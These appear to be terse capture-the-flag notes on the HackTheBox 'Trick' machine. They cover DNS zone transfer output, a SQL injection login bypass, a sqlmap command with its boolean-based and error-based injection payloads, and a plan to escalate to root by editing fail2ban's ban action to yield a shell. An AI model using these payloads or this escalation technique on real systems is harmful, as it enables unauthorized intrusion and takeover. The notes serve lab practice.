dig axfr @10.129.227.180 trick.htb
; <<>> DiG 9.18.41-1~deb12u1-Debian <<>> axfr @10.129.227.180 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 26 msec
;; SERVER: 10.129.227.180#53(10.129.227.180) (TCP)
;; WHEN: Sat Jan 10 15:26:37 EST 2026
;; XFR size: 6 records (messages 1, bytes 231)
Shows subdomain of preprod-payroll.trick.htb
add preprod-payroll.trick.htb to /etc/hosts
Visiting preprod-payroll.trick.htb displays an employee payroll website with a username and password field
Trying basic SQL Injection on website, admin' 1=1-- - allows us entry
Find Username Enemigosss
Find Employee John C. Smith in the IT Department
SQL Map
Capturing Login Request via burp
Right-click and save as file login.req
sqlmap -r login.req –level=5 –risk=3 –threads=10 –random-agent -technique=BEU
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=admin' OR NOT 7452=7452-- lljn&password=admin
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' OR (SELECT 9363 FROM(SELECT COUNT(*),CONCAT(0x716b787071,(SELECT (ELT(9363=9363,1))),0x716a6b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yPAC&password=admin
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
Privilege Escalation
cat /etc/init.d/fail2ban
Goal, Edit Fail2Ban script so when a user is supposed to be banned we receive an elevated shell
Checking Fail2Ban, It is run from iptables-multiport.conf , update the actionban function
We do not have write access over the file, but since it is located in the securities group we are able to move files
